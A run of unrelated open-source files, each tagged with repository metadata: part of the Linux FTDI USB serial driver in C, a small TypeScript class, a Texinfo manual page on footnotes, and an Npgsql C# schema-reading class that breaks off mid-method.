dbg("%s", __func__);
priv->flags |= ASYNC_SPD_CUST;
priv->custom_divisor = 240;
priv->force_baud = 38400;
priv->force_rtscts = 1;
}
/*
* Module parameter to control latency timer for NDI FTDI-based USB devices.
* If this value is not set in modprobe.conf.local its value will be set to 1ms.
*/
static int ndi_latency_timer = 1;
/* Setup for the NDI FTDI-based USB devices, which requires hardwired
* baudrate (19200 gets mapped to 1200000).
*
* Called from usbserial:serial_probe.
*/
static int ftdi_NDI_device_setup(struct usb_serial *serial)
{
struct usb_device *udev = serial->dev;
int latency = ndi_latency_timer;
if (latency == 0)
latency = 1;
if (latency > 99)
latency = 99;
dbg("%s setting NDI device latency to %d", __func__, latency);
dev_info(&udev->dev, "NDI device with a latency value of %d", latency);
/* FIXME: errors are not returned */
usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
FTDI_SIO_SET_LATENCY_TIMER_REQUEST,
FTDI_SIO_SET_LATENCY_TIMER_REQUEST_TYPE,
latency, 0, NULL, 0, WDR_TIMEOUT);
return 0;
}
/*
* First port on JTAG adaptors such as Olimex arm-usb-ocd or the FIC/OpenMoko
* Neo1973 Debug Board is reserved for JTAG interface and can be accessed from
* userspace using openocd.
*/
static int ftdi_jtag_probe(struct usb_serial *serial)
{
struct usb_device *udev = serial->dev;
struct usb_interface *interface = serial->interface;
dbg("%s", __func__);
if (interface == udev->actconfig->interface[0]) {
dev_info(&udev->dev,
"Ignoring serial port reserved for JTAG\n");
return -ENODEV;
}
return 0;
}
/*
* The Matrix Orbital VK204-25-USB has an invalid IN endpoint.
* We have to correct it if we want to read from it.
*/
static int ftdi_mtxorb_hack_setup(struct usb_serial *serial)
{
struct usb_host_endpoint *ep = serial->dev->ep_in[1];
struct usb_endpoint_descriptor *ep_desc = &ep->desc;
if (ep->enabled && ep_desc->wMaxPacketSize == 0) {
ep_desc->wMaxPacketSize = cpu_to_le16(0x40);
dev_info(&serial->dev->dev,
"Fixing invalid wMaxPacketSize on read pipe\n");
}
return 0;
}
static void ftdi_sio_priv_release(struct kref *k)
{
struct ftdi_private *priv = container_of(k, struct ftdi_private, kref);
kfree(priv);
}
static int ftdi_sio_port_remove(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
dbg("%s", __func__);
remove_sysfs_attrs(port);
kref_put(&priv->kref, ftdi_sio_priv_release);
return 0;
}
static int ftdi_open(struct tty_struct *tty, struct usb_serial_port *port)
{
struct usb_device *dev = port->serial->dev;
struct ftdi_private *priv = usb_get_serial_port_data(port);
int result;
dbg("%s", __func__);
write_latency_timer(port);
/* No error checking for this (will get errors later anyway) */
/* See ftdi_sio.h for description of what is reset */
usb_control_msg(dev, usb_sndctrlpipe(dev, 0),
FTDI_SIO_RESET_REQUEST, FTDI_SIO_RESET_REQUEST_TYPE,
FTDI_SIO_RESET_SIO,
priv->interface, NULL, 0, WDR_TIMEOUT);
/* Termios defaults are set by usb_serial_init. We don't change
port->tty->termios - this would lose speed settings, etc.
This is same behaviour as serial.c/rs_open() - Kuba */
/* ftdi_set_termios will send usb control messages */
if (tty)
ftdi_set_termios(tty, port, tty->termios);
/* Start reading from the device */
result = usb_serial_generic_open(tty, port);
if (!result)
kref_get(&priv->kref);
return result;
}
static void ftdi_dtr_rts(struct usb_serial_port *port, int on)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
mutex_lock(&port->serial->disc_mutex);
if (!port->serial->disconnected) {
/* Disable flow control */
if (!on && usb_control_msg(port->serial->dev,
usb_sndctrlpipe(port->serial->dev, 0),
FTDI_SIO_SET_FLOW_CTRL_REQUEST,
FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,
0, priv->interface, NULL, 0,
WDR_TIMEOUT) < 0) {
dev_err(&port->dev, "error from flowcontrol urb\n");
}
/* drop RTS and DTR */
if (on)
set_mctrl(port, TIOCM_DTR | TIOCM_RTS);
else
clear_mctrl(port, TIOCM_DTR | TIOCM_RTS);
}
mutex_unlock(&port->serial->disc_mutex);
}
/*
* usbserial:__serial_close only calls ftdi_close if the point is open
*
* This only gets called when it is the last close
*/
static void ftdi_close(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
dbg("%s", __func__);
usb_serial_generic_close(port);
kref_put(&priv->kref, ftdi_sio_priv_release);
}
/* The SIO requires the first byte to have:
* B0 1
* B1 0
* B2..7 length of message excluding byte 0
*
* The new devices do not require this byte
*/
static int ftdi_prepare_write_buffer(struct usb_serial_port *port,
void *dest, size_t size)
{
struct ftdi_private *priv;
int count;
unsigned long flags;
priv = usb_get_serial_port_data(port);
if (priv->chip_type == SIO) {
unsigned char *buffer = dest;
int i, len, c;
count = 0;
spin_lock_irqsave(&port->lock, flags);
for (i = 0; i < size - 1; i += priv->max_packet_size) {
len = min_t(int, size - i, priv->max_packet_size) - 1;
c = kfifo_out(&port->write_fifo, &buffer[i + 1], len);
if (!c)
break;
buffer[i] = (c << 2) + 1;
count += c + 1;
}
spin_unlock_irqrestore(&port->lock, flags);
} else {
count = kfifo_out_locked(&port->write_fifo, dest, size,
&port->lock);
}
return count;
}
#define FTDI_RS_ERR_MASK (FTDI_RS_BI | FTDI_RS_PE | FTDI_RS_FE | FTDI_RS_OE)
static int ftdi_process_packet(struct tty_struct *tty,
struct usb_serial_port *port, struct ftdi_private *priv,
char *packet, int len)
{
int i;
char status;
char flag;
char *ch;
dbg("%s - port %d", __func__, port->number);
if (len < 2) {
dbg("malformed packet");
return 0;
}
/* Compare new line status to the old one, signal if different/
N.B. packet may be processed more than once, but differences
are only processed once. */
status = packet[0] & FTDI_STATUS_B0_MASK;
if (status != priv->prev_status) {
priv->diff_status |= status ^ priv->prev_status;
wake_up_interruptible(&priv->delta_msr_wait);
priv->prev_status = status;
}
flag = TTY_NORMAL;
if (packet[1] & FTDI_RS_ERR_MASK) {
/* Break takes precedence over parity, which takes precedence
* over framing errors */
if (packet[1] & FTDI_RS_BI) {
flag = TTY_BREAK;
usb_serial_handle_break(port);
} else if (packet[1] & FTDI_RS_PE) {
flag = TTY_PARITY;
} else if (packet[1] & FTDI_RS_FE) {
flag = TTY_FRAME;
}
/* Overrun is special, not associated with a char */
if (packet[1] & FTDI_RS_OE)
tty_insert_flip_char(tty, 0, TTY_OVERRUN);
}
len -= 2;
if (!len)
return 0; /* status only */
ch = packet + 2;
if (port->port.console && port->sysrq) {
for (i = 0; i < len; i++, ch++) {
if (!usb_serial_handle_sysrq_char(tty, port, *ch))
tty_insert_flip_char(tty, *ch, flag);
}
} else {
tty_insert_flip_string_fixed_flag(tty, ch, flag, len);
}
return len;
}
static void ftdi_process_read_urb(struct urb *urb)
{
struct usb_serial_port *port = urb->context;
struct tty_struct *tty;
struct ftdi_private *priv = usb_get_serial_port_data(port);
char *data = (char *)urb->transfer_buffer;
int i;
int len;
int count = 0;
tty = tty_port_tty_get(&port->port);
if (!tty)
return;
for (i = 0; i < urb->actual_length; i += priv->max_packet_size) {
len = min_t(int, urb->actual_length - i, priv->max_packet_size);
count += ftdi_process_packet(tty, port, priv, &data[i], len);
}
if (count)
tty_flip_buffer_push(tty);
tty_kref_put(tty);
}
static void ftdi_break_ctl(struct tty_struct *tty, int break_state)
{
struct usb_serial_port *port = tty->driver_data;
struct ftdi_private *priv = usb_get_serial_port_data(port);
__u16 urb_value;
/* break_state = -1 to turn on break, and 0 to turn off break */
/* see drivers/char/tty_io.c to see it used */
/* last_set_data_urb_value NEVER has the break bit set in it */
if (break_state)
urb_value = priv->last_set_data_urb_value | FTDI_SIO_SET_BREAK;
else
urb_value = priv->last_set_data_urb_value;
if (usb_control_msg(port->serial->dev,
usb_sndctrlpipe(port->serial->dev, 0),
FTDI_SIO_SET_DATA_REQUEST,
FTDI_SIO_SET_DATA_REQUEST_TYPE,
urb_value , priv->interface,
NULL, 0, WDR_TIMEOUT) < 0) {
dev_err(&port->dev, "%s FAILED to enable/disable break state "
"(state was %d)\n", __func__, break_state);
}
dbg("%s break state is %d - urb is %d", __func__,
break_state, urb_value);
}
/* old_termios contains the original termios settings and tty->termios contains
* the new setting to be used
* WARNING: set_termios calls this with old_termios in kernel space
*/
static void ftdi_set_termios(struct tty_struct *tty,
struct usb_serial_port *port, struct ktermios *old_termios)
{
struct usb_device *dev = port->serial->dev;
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct ktermios *termios = tty->termios;
unsigned int cflag = termios->c_cflag;
__u16 urb_value; /* will hold the new flags */
/* Added for xon/xoff support */
unsigned int iflag = termios->c_iflag;
unsigned char vstop;
unsigned char vstart;
dbg("%s", __func__);
/* Force baud rate if this device requires it, unless it is set to
B0. */
if (priv->force_baud && ((termios->c_cflag & CBAUD) != B0)) {
dbg("%s: forcing baud rate for this device", __func__);
tty_encode_baud_rate(tty, priv->force_baud,
priv->force_baud);
}
/* Force RTS-CTS if this device requires it. */
if (priv->force_rtscts) {
dbg("%s: forcing rtscts for this device", __func__);
termios->c_cflag |= CRTSCTS;
}
cflag = termios->c_cflag;
/* FIXME -For this cut I don't care if the line is really changing or
not - so just do the change regardless - should be able to
compare old_termios and tty->termios */
/* NOTE These routines can get interrupted by
ftdi_sio_read_bulk_callback - need to examine what this means -
don't see any problems yet */
/* Set number of data bits, parity, stop bits */
urb_value = 0;
urb_value |= (cflag & CSTOPB ? FTDI_SIO_SET_DATA_STOP_BITS_2 :
FTDI_SIO_SET_DATA_STOP_BITS_1);
if (cflag & PARENB) {
if (cflag & CMSPAR)
urb_value |= cflag & PARODD ?
FTDI_SIO_SET_DATA_PARITY_MARK :
FTDI_SIO_SET_DATA_PARITY_SPACE;
else
urb_value |= cflag & PARODD ?
FTDI_SIO_SET_DATA_PARITY_ODD :
FTDI_SIO_SET_DATA_PARITY_EVEN;
} else {
urb_value |= FTDI_SIO_SET_DATA_PARITY_NONE;
}
if (cflag & CSIZE) {
switch (cflag & CSIZE) {
case CS7: urb_value |= 7; dbg("Setting CS7"); break;
case CS8: urb_value |= 8; dbg("Setting CS8"); break;
default:
dev_err(&port->dev, "CSIZE was set but not CS7-CS8\n");
}
}
/* This is needed by the break command since it uses the same command
- but is or'ed with this value */
priv->last_set_data_urb_value = urb_value;
if (usb_control_msg(dev, usb_sndctrlpipe(dev, 0),
FTDI_SIO_SET_DATA_REQUEST,
FTDI_SIO_SET_DATA_REQUEST_TYPE,
urb_value , priv->interface,
NULL, 0, WDR_SHORT_TIMEOUT) < 0) {
dev_err(&port->dev, "%s FAILED to set "
"databits/stopbits/parity\n", __func__);
}
/* Now do the baudrate */
if ((cflag & CBAUD) == B0) {
/* Disable flow control */
if (usb_control_msg(dev, usb_sndctrlpipe(dev, 0),
FTDI_SIO_SET_FLOW_CTRL_REQUEST,
FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,
0, priv->interface,
NULL, 0, WDR_TIMEOUT) < 0) {
dev_err(&port->dev,
"%s error from disable flowcontrol urb\n",
__func__);
}
/* Drop RTS and DTR */
clear_mctrl(port, TIOCM_DTR | TIOCM_RTS);
} else {
/* set the baudrate determined before */
mutex_lock(&priv->cfg_lock);
if (change_speed(tty, port))
dev_err(&port->dev, "%s urb failed to set baudrate\n",
__func__);
mutex_unlock(&priv->cfg_lock);
/* Ensure RTS and DTR are raised when baudrate changed from 0 */
if (!old_termios || (old_termios->c_cflag & CBAUD) == B0)
set_mctrl(port, TIOCM_DTR | TIOCM_RTS);
}
/* Set flow control */
/* Note device also supports DTR/CD (ugh) and Xon/Xoff in hardware */
if (cflag & CRTSCTS) {
dbg("%s Setting to CRTSCTS flow control", __func__);
if (usb_control_msg(dev,
usb_sndctrlpipe(dev, 0),
FTDI_SIO_SET_FLOW_CTRL_REQUEST,
FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,
0 , (FTDI_SIO_RTS_CTS_HS | priv->interface),
NULL, 0, WDR_TIMEOUT) < 0) {
dev_err(&port->dev,
"urb failed to set to rts/cts flow control\n");
}
/* raise DTR/RTS */
set_mctrl(port, TIOCM_DTR | TIOCM_RTS);
} else {
/*
* Xon/Xoff code
*
* Check the IXOFF status in the iflag component of the
* termios structure. If IXOFF is not set, the pre-xon/xoff
* code is executed.
*/
if (iflag & IXOFF) {
dbg("%s request to enable xonxoff iflag=%04x",
__func__, iflag);
/* Try to enable the XON/XOFF on the ftdi_sio
* Set the vstart and vstop -- could have been done up
* above where a lot of other dereferencing is done but
* that would be very inefficient as vstart and vstop
* are not always needed.
*/
vstart = termios->c_cc[VSTART];
vstop = termios->c_cc[VSTOP];
urb_value = (vstop << 8) | (vstart);
if (usb_control_msg(dev,
usb_sndctrlpipe(dev, 0),
FTDI_SIO_SET_FLOW_CTRL_REQUEST,
FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,
urb_value , (FTDI_SIO_XON_XOFF_HS
| priv->interface),
NULL, 0, WDR_TIMEOUT) < 0) {
dev_err(&port->dev, "urb failed to set to "
"xon/xoff flow control\n");
}
} else {
/* else clause to only run if cflag ! CRTSCTS and iflag
* ! XOFF. CHECKME Assuming XON/XOFF handled by tty
* stack - not by device */
dbg("%s Turning off hardware flow control", __func__);
if (usb_control_msg(dev,
usb_sndctrlpipe(dev, 0),
FTDI_SIO_SET_FLOW_CTRL_REQUEST,
FTDI_SIO_SET_FLOW_CTRL_REQUEST_TYPE,
0, priv->interface,
NULL, 0, WDR_TIMEOUT) < 0) {
dev_err(&port->dev,
"urb failed to clear flow control\n");
}
}
/* lower DTR/RTS */
clear_mctrl(port, TIOCM_DTR | TIOCM_RTS);
}
return;
}
static int ftdi_tiocmget(struct tty_struct *tty, struct file *file)
{
struct usb_serial_port *port = tty->driver_data;
struct ftdi_private *priv = usb_get_serial_port_data(port);
unsigned char *buf;
int len;
int ret;
dbg("%s TIOCMGET", __func__);
buf = kmalloc(2, GFP_KERNEL);
if (!buf)
return -ENOMEM;
/*
* The 8U232AM returns a two byte value (the SIO a 1 byte value) in
* the same format as the data returned from the in point.
*/
switch (priv->chip_type) {
case SIO:
len = 1;
break;
case FT8U232AM:
case FT232BM:
case FT2232C:
case FT232RL:
case FT2232H:
case FT4232H:
len = 2;
break;
default:
ret = -EFAULT;
goto out;
}
ret = usb_control_msg(port->serial->dev,
usb_rcvctrlpipe(port->serial->dev, 0),
FTDI_SIO_GET_MODEM_STATUS_REQUEST,
FTDI_SIO_GET_MODEM_STATUS_REQUEST_TYPE,
0, priv->interface,
buf, len, WDR_TIMEOUT);
if (ret < 0)
goto out;
ret = (buf[0] & FTDI_SIO_DSR_MASK ? TIOCM_DSR : 0) |
(buf[0] & FTDI_SIO_CTS_MASK ? TIOCM_CTS : 0) |
(buf[0] & FTDI_SIO_RI_MASK ? TIOCM_RI : 0) |
(buf[0] & FTDI_SIO_RLSD_MASK ? TIOCM_CD : 0) |
priv->last_dtr_rts;
out:
kfree(buf);
return ret;
}
static int ftdi_tiocmset(struct tty_struct *tty, struct file *file,
unsigned int set, unsigned int clear)
{
struct usb_serial_port *port = tty->driver_data;
dbg("%s TIOCMSET", __func__);
return update_mctrl(port, set, clear);
}
static int ftdi_ioctl(struct tty_struct *tty, struct file *file,
unsigned int cmd, unsigned long arg)
{
struct usb_serial_port *port = tty->driver_data;
struct ftdi_private *priv = usb_get_serial_port_data(port);
dbg("%s cmd 0x%04x", __func__, cmd);
/* Based on code from acm.c and others */
switch (cmd) {
case TIOCGSERIAL: /* gets serial port data */
return get_serial_info(port,
(struct serial_struct __user *) arg);
case TIOCSSERIAL: /* sets serial port data */
return set_serial_info(tty, port,
(struct serial_struct __user *) arg);
/*
* Wait for any of the 4 modem inputs (DCD,RI,DSR,CTS) to change
* - mask passed in arg for lines of interest
* (use |'ed TIOCM_RNG/DSR/CD/CTS for masking)
* Caller should use TIOCGICOUNT to see which one it was.
*
* This code is borrowed from linux/drivers/char/serial.c
*/
case TIOCMIWAIT:
while (priv != NULL) {
interruptible_sleep_on(&priv->delta_msr_wait);
/* see if a signal did it */
if (signal_pending(current))
return -ERESTARTSYS;
else {
char diff = priv->diff_status;
if (diff == 0)
return -EIO; /* no change => error */
/* Consume all events */
priv->diff_status = 0;
/* Return 0 if caller wanted to know about
these bits */
if (((arg & TIOCM_RNG) && (diff & FTDI_RS0_RI)) ||
((arg & TIOCM_DSR) && (diff & FTDI_RS0_DSR)) ||
((arg & TIOCM_CD) && (diff & FTDI_RS0_RLSD)) ||
((arg & TIOCM_CTS) && (diff & FTDI_RS0_CTS))) {
return 0;
}
/*
* Otherwise caller can't care less about what
* happened,and so we continue to wait for more
* events.
*/
}
}
return 0;
default:
break;
}
/* This is not necessarily an error - turns out the higher layers
* will do some ioctls themselves (see comment above)
*/
dbg("%s arg not supported - it was 0x%04x - check /usr/include/asm/ioctls.h", __func__, cmd);
return -ENOIOCTLCMD;
}
static int __init ftdi_init(void)
{
int retval;
dbg("%s", __func__);
if (vendor > 0 && product > 0) {
/* Add user specified VID/PID to reserved element of table. */
int i;
for (i = 0; id_table_combined[i].idVendor; i++)
;
id_table_combined[i].match_flags = USB_DEVICE_ID_MATCH_DEVICE;
id_table_combined[i].idVendor = vendor;
id_table_combined[i].idProduct = product;
}
retval = usb_serial_register(&ftdi_sio_device);
if (retval)
goto failed_sio_register;
retval = usb_register(&ftdi_driver);
if (retval)
goto failed_usb_register;
printk(KERN_INFO KBUILD_MODNAME ": " DRIVER_VERSION ":"
DRIVER_DESC "\n");
return 0;
failed_usb_register:
usb_serial_deregister(&ftdi_sio_device);
failed_sio_register:
return retval;
}
static void __exit ftdi_exit(void)
{
dbg("%s", __func__);
usb_deregister(&ftdi_driver);
usb_serial_deregister(&ftdi_sio_device);
}
module_init(ftdi_init);
module_exit(ftdi_exit);
MODULE_AUTHOR(DRIVER_AUTHOR);
MODULE_DESCRIPTION(DRIVER_DESC);
MODULE_LICENSE("GPL");
module_param(debug, bool, S_IRUGO | S_IWUSR);
MODULE_PARM_DESC(debug, "Debug enabled or not");
module_param(vendor, ushort, 0);
MODULE_PARM_DESC(vendor, "User specified vendor ID (default="
__MODULE_STRING(FTDI_VID)")");
module_param(product, ushort, 0);
MODULE_PARM_DESC(product, "User specified product ID");
module_param(ndi_latency_timer, int, S_IRUGO | S_IWUSR);
MODULE_PARM_DESC(ndi_latency_timer, "NDI device latency timer override");
|
chuncky/nuc900kernel
|
linux-2.6.35.4/drivers/usb/serial/ftdi_sio.c
|
C
|
gpl-3.0
| 80,475 |
export class PushRequestRole {
public t: string;
public s: any;
public a: string[];
public r: string[];
}
|
Allors/allors
|
Platform/Workspace/Typescript/src/allors/framework/protocol/push/PushRequestRole.ts
|
TypeScript
|
gpl-3.0
| 125 |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<!-- This manual is for GNU Texinfo (version 4.2, 28 March 2002),
a documentation system that can produce both online information and a
printed manual from a single source.
Copyright (C) 1988, 90, 91, 92, 93, 95, 96, 97, 98, 99, 2000, 01, 02
Free Software Foundation, Inc.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.1 or
any later version published by the Free Software Foundation; with no
Invariant Sections, with the Front-Cover texts being "A GNU Manual,"
and with the Back-Cover Texts as in (a) below. A copy of the license is
included in the section entitled "GNU Free Documentation License."
(a) The FSF's Back-Cover Text is: "You have freedom to copy and modify
this GNU Manual, like GNU software. Copies published by the Free
Software Foundation raise funds for GNU development."
-->
<!-- Created by texi2html, http://www.gnu.org/software/texinfo/ -->
<head>
<title>GNU Texinfo 4.2: Footnote Commands</title>
<meta name="description" content="GNU Texinfo 4.2: Footnote Commands">
<meta name="keywords" content="GNU Texinfo 4.2: Footnote Commands">
<meta name="resource-type" content="document">
<meta name="distribution" content="global">
<meta name="Generator" content="texi2html">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link href="index.html#Top" rel="start" title="GNU Texinfo 4.2">
<link href="Command-and-Variable-Index.html#Command-and-Variable-Index" rel="index" title="Command and Variable Index">
<link href="index.html#SEC_Contents" rel="contents" title="Table of Contents">
<link href="Footnotes.html#Footnotes" rel="up" title="Footnotes">
<link href="Footnote-Styles.html#Footnote-Styles" rel="next" title="Footnote Styles">
<link href="Footnotes.html#Footnotes" rel="previous" title="Footnotes">
<style type="text/css">
<!--
a.summary-letter {text-decoration: none}
blockquote.smallquotation {font-size: smaller}
div.display {margin-left: 3.2em}
div.example {margin-left: 3.2em}
div.lisp {margin-left: 3.2em}
div.smalldisplay {margin-left: 3.2em}
div.smallexample {margin-left: 3.2em}
div.smalllisp {margin-left: 3.2em}
pre.display {font-family: serif}
pre.format {font-family: serif}
pre.menu-comment {font-family: serif}
pre.menu-preformatted {font-family: serif}
pre.smalldisplay {font-family: serif; font-size: smaller}
pre.smallexample {font-size: smaller}
pre.smallformat {font-family: serif; font-size: smaller}
pre.smalllisp {font-size: smaller}
span.nocodebreak {white-space:pre}
span.nolinebreak {white-space:pre}
span.roman {font-family:serif; font-weight:normal}
span.sansserif {font-family:sans-serif; font-weight:normal}
ul.no-bullet {list-style: none}
-->
</style>
</head>
<body lang="en" bgcolor="#FFFFFF" text="#000000" link="#0000FF" vlink="#800080" alink="#FF0000">
<a name="Footnote-Commands"></a>
<div class="header">
<p>
Next: <a href="Footnote-Styles.html#Footnote-Styles" accesskey="n" rel="next">Footnote Styles</a>, Up: <a href="Footnotes.html#Footnotes" accesskey="u" rel="up">Footnotes</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>][<a href="Command-and-Variable-Index.html#Command-and-Variable-Index" title="Index" rel="index">Index</a>]</p>
</div>
<hr>
<a name="Footnote-Commands-1"></a>
<h3 class="subsection">13.10.1 Footnote Commands</h3>
<p>In Texinfo, footnotes are created with the <code>@footnote</code> command.
This command is followed immediately by a left brace, then by the text
of the footnote, and then by a terminating right brace. Footnotes may
be of any length (they will be broken across pages if necessary), but
are usually short. The template is:
</p>
<div class="example">
<pre class="example">ordinary text@footnote{<var>text of footnote</var>}
</pre></div>
<p>As shown here, the <code>@footnote</code> command should come right after the
text being footnoted, with no intervening space; otherwise, the footnote
marker might end up starting a line.
</p>
<p>For example, this clause is followed by a sample footnote<a name="DOCF9" href="texinfo_fot.html#FOOT9">(9)</a>; in the Texinfo source, it looks like
this:
</p>
<div class="example">
<pre class="example">…a sample footnote@footnote{Here is the sample
footnote.}; in the Texinfo source…
</pre></div>
<p>As you can see, the source includes two punctuation marks next to each
other; in this case, ‘<samp>.};</samp>’ is the sequence. This is normal (the
first ends the footnote and the second belongs to the sentence being
footnoted), so don’t worry that it looks odd.
</p>
<p>In a printed manual or book, the reference mark for a footnote is a
small, superscripted number; the text of the footnote appears at the
bottom of the page, below a horizontal line.
</p>
<p>In Info, the reference mark for a footnote is a pair of parentheses
with the footnote number between them, like this: ‘<samp>(1)</samp>’. The
reference mark is followed by a cross-reference link to the footnote’s
text.
</p>
<p>In the HTML output, footnote references are marked with a small,
superscripted number which is rendered as a hypertext link to the
footnote text.
</p>
<p>By the way, footnotes in the argument of an <code>@item</code> command for a
<code>@table</code> must be on the same line as the <code>@item</code>
(as usual). See <a href="Two_002dcolumn-Tables.html#Two_002dcolumn-Tables">Two-column Tables</a>.
</p>
<hr>
<div class="header">
<p>
Next: <a href="Footnote-Styles.html#Footnote-Styles" accesskey="n" rel="next">Footnote Styles</a>, Up: <a href="Footnotes.html#Footnotes" accesskey="u" rel="up">Footnotes</a> [<a href="index.html#SEC_Contents" title="Table of contents" rel="contents">Contents</a>][<a href="Command-and-Variable-Index.html#Command-and-Variable-Index" title="Index" rel="index">Index</a>]</p>
</div>
<p>
</p>
</body>
</html>
|
cgwalters/texinfo-git-mirror
|
texi2html/test/manuals/res_info/texinfo_html/Footnote-Commands.html
|
HTML
|
gpl-3.0
| 6,027 |
// Npgsql.NpgsqlCommand.cs
//
// Author:
// Josh Cooley <[email protected]>
//
// Copyright (C) 2002-2005 The Npgsql Development Team
// [email protected]
// http://gborg.postgresql.org/project/npgsql/projdisplay.php
//
// Permission to use, copy, modify, and distribute this software and its
// documentation for any purpose, without fee, and without a written
// agreement is hereby granted, provided that the above copyright notice
// and this paragraph and the following two paragraphs appear in all copies.
//
// IN NO EVENT SHALL THE NPGSQL DEVELOPMENT TEAM BE LIABLE TO ANY PARTY
// FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
// INCLUDING LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS
// DOCUMENTATION, EVEN IF THE NPGSQL DEVELOPMENT TEAM HAS BEEN ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
//
// THE NPGSQL DEVELOPMENT TEAM SPECIFICALLY DISCLAIMS ANY WARRANTIES,
// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
// AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS
// ON AN "AS IS" BASIS, AND THE NPGSQL DEVELOPMENT TEAM HAS NO OBLIGATIONS
// TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
using System.Data;
using System.IO;
using System.Reflection;
using System.Text;
namespace Npgsql
{
/// <summary>
/// Provides the underlying mechanism for reading schema information.
/// </summary>
internal sealed class NpgsqlSchema
{
private readonly NpgsqlConnection _connection;
/// <summary>
/// Creates an NpgsqlSchema that can read schema information from the database.
/// </summary>
/// <param name="connection">An open database connection for reading metadata.</param>
internal NpgsqlSchema(NpgsqlConnection connection)
{
_connection = connection;
}
/// <summary>
/// Returns the MetaDataCollections that lists all possible collections.
/// </summary>
/// <returns>The MetaDataCollections</returns>
internal static DataTable GetMetaDataCollections()
{
DataSet ds = new DataSet();
using (Stream xmlStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Npgsql.NpgsqlMetaData.xml"))
{
ds.ReadXml(xmlStream);
}
return ds.Tables["MetaDataCollections"].Copy();
}
/// <summary>
/// Returns the Restrictions that contains the meaning and position of the values in the restrictions array.
/// </summary>
/// <returns>The Restrictions</returns>
internal static DataTable GetRestrictions()
{
DataSet ds = new DataSet();
using (Stream xmlStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Npgsql.NpgsqlMetaData.xml"))
{
ds.ReadXml(xmlStream);
}
return ds.Tables["Restrictions"].Copy();
}
private NpgsqlCommand BuildCommand(StringBuilder query, string[] restrictions, params string[] names)
{
return BuildCommand(query, restrictions, true, names);
}
private NpgsqlCommand BuildCommand(StringBuilder query, string[] restrictions, bool addWhere, params string[] names)
{
NpgsqlCommand command = new NpgsqlCommand();
if (restrictions != null && names != null)
{
for (int i = 0; i < restrictions.Length && i < names.Length; ++i)
{
if (restrictions[i] != null && restrictions[i].Length != 0)
{
if (addWhere)
{
query.Append(" WHERE ");
addWhere = false;
}
else
{
query.Append(" AND ");
}
query.AppendFormat("{0} = :{0}", names[i]);
command.Parameters.Add(new NpgsqlParameter(names[i], restrictions[i]));
}
}
}
command.CommandText = query.ToString();
command.Connection = _connection;
return command;
}
/// <summary>
/// Returns the Databases that contains a list of all accessable databases.
/// </summary>
/// <param name="restrictions">The restrictions to filter the collection.</param>
/// <returns>The Databases</returns>
internal DataTable GetDatabases(string[] restrictions)
{
DataTable databases = new DataTable("Databases");
databases.Columns.AddRange(
new DataColumn[] {new DataColumn("database_name"), new DataColumn("owner"), new DataColumn("encoding")});
StringBuilder getDatabases = new StringBuilder();
getDatabases.Append(
"SELECT d.datname AS database_name, u.usename AS owner, pg_catalog.pg_encoding_to_char(d.encoding) AS encoding FROM pg_catalog.pg_database d LEFT JOIN pg_catalog.pg_user u ON d.datdba = u.usesysid");
using (NpgsqlCommand command = BuildCommand(getDatabases, restrictions, "datname"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(databases);
}
}
return databases;
}
/// <summary>
/// Returns the Tables that contains table and view names and the database and schema they come from.
/// </summary>
/// <param name="restrictions">The restrictions to filter the collection.</param>
/// <returns>The Tables</returns>
internal DataTable GetTables(string[] restrictions)
{
DataTable tables = new DataTable("Tables");
tables.Columns.AddRange(
new DataColumn[]
{
new DataColumn("table_catalog"), new DataColumn("table_schema"), new DataColumn("table_name"),
new DataColumn("table_type")
});
StringBuilder getTables = new StringBuilder();
getTables.Append("SELECT table_catalog, table_schema, table_name, table_type FROM information_schema.tables");
using (
NpgsqlCommand command =
BuildCommand(getTables, restrictions, "table_catalog", "table_schema", "table_name", "table_type"))
{
using (NpgsqlDataAdapter adapter = new NpgsqlDataAdapter(command))
{
adapter.Fill(tables);
}
}
return tables;
}
/// <summary>
/// Returns the Columns that contains information about columns in tables.
/// </summary>
/// <param name="restrictions">The restrictions to filter the collection.</param>
/// <returns>The Columns.</returns>
internal DataTable GetColumns(string[] restrictions)
{
DataTable columns = new DataTable("Columns");
columns.Columns.AddRange(
new DataColumn[]
{
new DataColumn("table_catalog"), new DataColumn("table_schema"), new DataColumn("table_name"),
new DataColumn("column_name"), new DataColumn("ordinal_position", typeof (int)), new DataColumn("column_default"),
new DataColumn("is_nullable"), new DataColumn("data_type"),
new DataColumn("character_maximum_length", typeof (int)), new DataColumn("character_octet_length", typeof (int)),
new DataColumn("numeric_precision", typeof (int)), new DataColumn("numeric_precision_radix", typeof (int)),
new DataColumn("numeric_scale", typeof (int)), new DataColumn("datetime_precision", typeof (int)),
new DataColumn("character_set_catalog"), new DataColumn("character_set_schema"),
new DataColumn("character_set_name"), new DataColumn("collation_catalog")
});
StringBuilder getColumns = new StringBuilder();
getColumns.Append(
